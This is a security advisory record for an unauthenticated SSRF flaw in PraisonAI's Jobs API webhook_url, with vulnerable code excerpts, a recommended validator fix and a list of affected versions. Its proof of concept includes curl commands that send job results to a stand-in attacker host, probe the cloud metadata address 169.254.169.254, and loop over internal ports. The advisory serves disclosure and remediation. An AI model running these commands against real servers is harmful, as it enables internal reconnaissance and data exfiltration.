{"id":"PYSEC-2026-2906","summary":"PraisonAI Vulnerable to Server-Side Request Forgery via Unvalidated webhook_url in Jobs API","details":"## Summary\n\nThe `/api/v1/runs` endpoint accepts an arbitrary `webhook_url` in the request body with no URL validation. When a submitted job completes (success or failure), the server makes an HTTP POST request to this URL using `httpx.AsyncClient`. An unauthenticated attacker can use this to make the server send POST requests to arbitrary internal or external destinations, enabling SSRF against cloud metadata services, internal APIs, and other network-adjacent services.\n\n## Details\n\nThe vulnerability exists across the full request lifecycle:\n\n**1. User input accepted without validation** — `models.py:32`:\n```python\nclass JobSubmitRequest(BaseModel):\n    webhook_url: Optional[str] = Field(None, description=\"URL to POST results when complete\")\n```\nThe field is a plain `str` with no URL validation — no scheme restriction, no host filtering.\n\n**2. Stored directly on the Job object** — `router.py:80-86`:\n```python\njob = Job(\n    prompt=body.prompt,\n    ...\n    webhook_url=body.webhook_url,\n    ...\n)\n```\n\n**3. Used in an outbound HTTP request** — `executor.py:385-415`:\n```python\nasync def _send_webhook(self, job: Job):\n    if not job.webhook_url:\n        return\n    try:\n        import httpx\n        payload = {\n            \"job_id\": job.id,\n            \"status\": job.status.value,\n            \"result\": job.result if job.status == JobStatus.SUCCEEDED else None,\n            \"error\": job.error if job.status == JobStatus.FAILED else None,\n            ...\n        }\n        async with httpx.AsyncClient(timeout=30.0) as client:\n            response = await client.post(\n                job.webhook_url,    # \u003c-- attacker-controlled URL\n                json=payload,\n                headers={\"Content-Type\": \"application/json\"}\n            )\n```\n\n**4. Triggered on both success and failure paths** — `executor.py:180-205`:\n```python\n# Line 180-181: on success\nif job.webhook_url:\n    await self._send_webhook(job)\n\n# Line 204-205: on failure\nif job.webhook_url:\n    await self._send_webhook(job)\n```\n\n**5. No authentication on the Jobs API server** — `server.py:82-101`:\nThe `create_app()` function creates a FastAPI app with CORS allowing all origins (`[\"*\"]`) and no authentication middleware. The jobs router is mounted directly with no auth dependencies.\n\nThere is zero URL validation anywhere in the chain: no scheme check (allows `http://`, `https://`, and any scheme httpx supports), no private/internal IP filtering, and no allowlist.\n\n## PoC\n\n**Step 1: Start a listener to observe SSRF requests**\n```bash\n# In a separate terminal, start a simple HTTP listener\npython3 -c \"\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport json\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_POST(self):\n        length = int(self.headers.get('Content-Length', 0))\n        body = self.rfile.read(length)\n        print(f'Received POST from PraisonAI server:')\n        print(json.dumps(json.loads(body), indent=2))\n        self.send_response(200)\n        self.end_headers()\n\nHTTPServer(('0.0.0.0', 9999), Handler).serve_forever()\n\"\n```\n\n**Step 2: Submit a job with a malicious webhook_url**\n```bash\n# Point webhook to attacker-controlled server\ncurl -X POST http://localhost:8005/api/v1/runs \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"prompt\": \"say hello\",\n    \"webhook_url\": \"http://attacker.example.com:9999/steal\"\n  }'\n```\n\n**Step 3: Target internal services (cloud metadata)**\n```bash\n# Attempt to reach AWS metadata service\ncurl -X POST http://localhost:8005/api/v1/runs \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"prompt\": \"say hello\",\n    \"webhook_url\": \"http://169.254.169.254/latest/meta-data/\"\n  }'\n```\n\n**Step 4: Internal network port scanning**\n```bash\n# Scan internal services by observing response timing\nfor port in 80 443 5432 6379 8080 9200; do\n  curl -s -X POST http://localhost:8005/api/v1/runs \\\n    -H 'Content-Type: application/json' \\\n    -d \"{\n      \\\"prompt\\\": \\\"say hello\\\",\n      \\\"webhook_url\\\": \\\"http://10.0.0.1:${port}/\\\"\n    }\"\ndone\n```\n\nWhen each job completes, the server POSTs the full job result payload (including agent output, error messages, and execution metrics) to the specified URL.\n\n## Impact\n\n1. **SSRF to internal services**: The server will send POST requests to any host/port reachable from the server's network, allowing interaction with internal APIs, databases, and cloud infrastructure that are not meant to be externally accessible.\n\n2. **Cloud metadata access**: In cloud deployments (AWS, GCP, Azure), the server can be directed to POST to metadata endpoints (`169.254.169.254`, `metadata.google.internal`), potentially triggering actions or leaking information depending on the metadata service's POST handling.\n\n3. **Internal network reconnaissance**: By submitting jobs with webhook URLs pointing to various internal hosts and ports, an attacker can discover internal services based on timing differences and error patterns in job logs.\n\n4. **Data exfiltration**: The webhook payload includes the full job result (agent output), which may contain sensitive data processed by the agent. By pointing the webhook to an attacker-controlled server, this data is exfiltrated.\n\n5. **No authentication barrier**: The Jobs API server has no authentication by default, meaning any network-reachable attacker can exploit this without credentials.\n\n## Recommended Fix\n\nAdd URL validation to restrict webhook URLs to safe destinations. In `models.py`, add a Pydantic validator:\n\n```python\nfrom pydantic import BaseModel, Field, field_validator\nfrom urllib.parse import urlparse\nimport ipaddress\n\nclass JobSubmitRequest(BaseModel):\n    webhook_url: Optional[str] = Field(None, description=\"URL to POST results when complete\")\n\n    @field_validator(\"webhook_url\")\n    @classmethod\n    def validate_webhook_url(cls, v: Optional[str]) -\u003e Optional[str]:\n        if v is None:\n            return v\n        \n        parsed = urlparse(v)\n        \n        # Only allow http and https schemes\n        if parsed.scheme not in (\"http\", \"https\"):\n            raise ValueError(\"webhook_url must use http or https scheme\")\n        \n        # Block private/internal IP ranges\n        hostname = parsed.hostname\n        if not hostname:\n            raise ValueError(\"webhook_url must have a valid hostname\")\n        \n        try:\n            ip = ipaddress.ip_address(hostname)\n            if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:\n                raise ValueError(\"webhook_url must not point to private/internal addresses\")\n        except ValueError as e:\n            if \"must not point\" in str(e):\n                raise\n            # hostname is not an IP — resolve and check\n            pass\n        \n        return v\n```\n\nAdditionally, in `executor.py`, add DNS resolution validation before making the request to prevent DNS rebinding:\n\n```python\nasync def _send_webhook(self, job: Job):\n    if not job.webhook_url:\n        return\n    \n    # Validate resolved IP is not private (prevent DNS rebinding)\n    from urllib.parse import urlparse\n    import socket, ipaddress\n    \n    parsed = urlparse(job.webhook_url)\n    try:\n        resolved_ip = socket.getaddrinfo(parsed.hostname, parsed.port or 443)[0][4][0]\n        ip = ipaddress.ip_address(resolved_ip)\n        if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:\n            logger.warning(f\"Webhook blocked for {job.id}: resolved to private IP {resolved_ip}\")\n            return\n    except (socket.gaierror, ValueError):\n        logger.warning(f\"Webhook blocked for {job.id}: could not resolve {parsed.hostname}\")\n        return\n    \n    # ... proceed with httpx.AsyncClient.post() ...\n```","aliases":["CVE-2026-40114","GHSA-8frj-8q3m-xhgm"],"modified":"2026-07-13T16:32:35.484458886Z","published":"2026-07-13T14:36:52.373703Z","references":[{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8frj-8q3m-xhgm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40114"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"},{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"},{"type":"PACKAGE","url":"https://pypi.org/project/praisonai"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-8frj-8q3m-xhgm"}],"affected":[{"package":{"name":"praisonai","ecosystem":"PyPI","purl":"pkg:pypi/praisonai"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.128"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.30","0.0.31","0.0.32","0.0.33","0.0.34","0.0.35","0.0.36","0.0.37","0.0.38","0.0.39","0.0.4","0.0.40","0.0.41","0.0.42","0.0.43","0.0.44","0.0.45","0.0.46","0.0.47","0.0.48","0.0.49","0.0.5","0.0.50","0.0.52","0.0.53","0.0.54","0.0.55","0.0.56","0.0.57","0.0.58","0.0.59","0.0.59rc11","0.0.59rc2","0.0.59rc3","0.0.59rc5","0.0.59rc6","0.0.59rc7","0.0.59rc8","0.0.59rc9","0.0.6","0.0.61","0.0.64","0.0.65","0.0.66","0.0.67","0.0.68","0.0.69","0.0.7","0.0.70","0.0.71","0.0.72","0.0.73","0.0.74","0.0.8","0.0.9","0.1.0","0.1.1","0.1.10","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9","1.0.0","1.0.1","1.0.10","1.0.11","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.8","1.0.9","2.0.0","2.0.1","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.15","2.0.16","2.0.17","2.0.18","2.0.19","2.0.2","2.0.20","2.0.22","2.0.23","2.0.24","2.0.25","2.0.26","2.0.27","2.0.28","2.0.29","2.0.3","2.0.30","2.0.31","2.0.32","2.0.33","2.0.34","2.0.35","2.0.36","2.0.37","2.0.38","2.0.39","2.0.40","2.0.41","2.0.42","2.0.43","2.0.44","2.0.45","2.0.46","2.0.47","2.0.48","2.0.49","2.0.5","2.0.50","2.0.51","2.0.53","2.0.54","2.0.55","2.0.56","2.0.57","2.0.58","2.0.59","2.0.6","2.0.60","2.0.61","2.0.62","2.0.63","2.0.64","2.0.65","2.0.66","2.0.67","2.0.68","2.0.69","2.0.7","2.0.70","2.0.71","2.0.72","2.0.73","2.0.74","2.0.75","2.0.76","2.0.77","2.0.78","2.0.79","2.0.8","2.0.80","2.0.81","2.0.9","2.1.0","2.1.1","2.1.4","2.1.5","2.1.6","2.2.1","2.2.10","2.2.11","2.2.12","2.2.13","2.2.14","2.2.15","2.2.16","2.2.17","2.2.18","2.2.19","2.2.2","2.2.20","2.2.21","2.2.22","2.2.24","2.2.25","2.2.26","2.2.27","2.2.28","2.2.29","2.2.3","2.2.30","2.2.31","2.2.32","2.2.33","2.2.34","2.2.35","2.2.36","2.2.37","2.2.38","2.2.39","2.2.4","2.2.40","2.2.41","2.2.42","2.2.43","2.2.44","2.2.45","2.2.46","2.2.47","2.2.48","2.2.49","2.2.5","2.2.50","2.2.51","2.2.52","2.2.53","2.2.54","2.2.55","2.2.56","2.2.57","2.2.58","2.2.59","2.2.6","2.2.60","2.2.61","2.2.62","2.2.63","2.2.64","2.2.65","2.2.66","2.2.67","2.2.68","2.2.69","2.2.7","2.2.70","2.2.71","2.2.72","2.2.73","2.2.74","2.2.75","2.2.76","2.2.77","2.2.78","2.2.79","2.2.8","2.2.80","2.2.81","2.2.82","2.2.83","2.2.84","2.2.86","2.2.87","2.2.88","2.2.89","2.2.9","2.2.90","2.2.91","2.2.93","2.2.95","2.2.96","2.2.97","2.2.98","2.2.99","2.3.0","2.3.1","2.3.10","2.3.11","2.3.12","2.3.13","2.3.14","2.3.15","2.3.16","2.3.18","2.3.19","2.3.2","2.3.20","2.3.21","2.3.22","2.3.23","2.3.24","2.3.25","2.3.26","2.3.27","2.3.28","2.3.29","2.3.3","2.3.30","2.3.31","2.3.32","2.3.33","2.3.34","2.3.35","2.3.36","2.3.37","2.3.38","2.3.39","2.3.4","2.3.40","2.3.41","2.3.42","2.3.43","2.3.44","2.3.45","2.3.46","2.3.47","2.3.48","2.3.49","2.3.5","2.3.50","2.3.51","2.3.52","2.3.53","2.3.54","2.3.55","2.3.56","2.3.57","2.3.58","2.3.59","2.3.6","2.3.60","2.3.61","2.3.62","2.3.63","2.3.64","2.3.65","2.3.66","2.3.67","2.3.68","2.3.69","2.3.7","2.3.70","2.3.71","2.3.72","2.3.73","2.3.74","2.3.75","2.3.76","2.3.77","2.3.78","2.3.79","2.3.8","2.3.80","2.3.81","2.3.82","2.3.83","2.3.84","2.3.85","2.3.86","2.3.87","2.3.9","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.5.0","2.5.1","2.5.2","2.5.3","2.5.4","2.5.5","2.5.6","2.5.7","2.6.0","2.6.1","2.6.2","2.6.3","2.6.4","2.6.5","2.6.6","2.6.7","2.6.8","2.7.0","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.1","2.9.2","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.10.0","3.10.1","3.10.10","3.10.11","3.10.12","3.10.13","3.10.14","3.10.15","3.10.16","3.10.17","3.10.18","3.10.19","3.10.2","3.10.20","3.10.21","3.10.22","3.10.23","3.10.24","3.10.25","3.10.26","3.10.27","3.10.3","3.10.4","3.10.5","3.10.6","3.10.7","3.10.8","3.10.9","3.11.0","3.11.1","3.11.10","3.11.11","3.11.12","3.11.13","3.11.14","3.11.2","3.11.3","3.11.4","3.11.8","3.11.9","3.12.0","3.12.1","3.12.2","3.12.3","3.2.0","3.2.1","3.3.0","3.3.1","3.4.0","3.4.1","3.5.0","3.5.1","3.5.2",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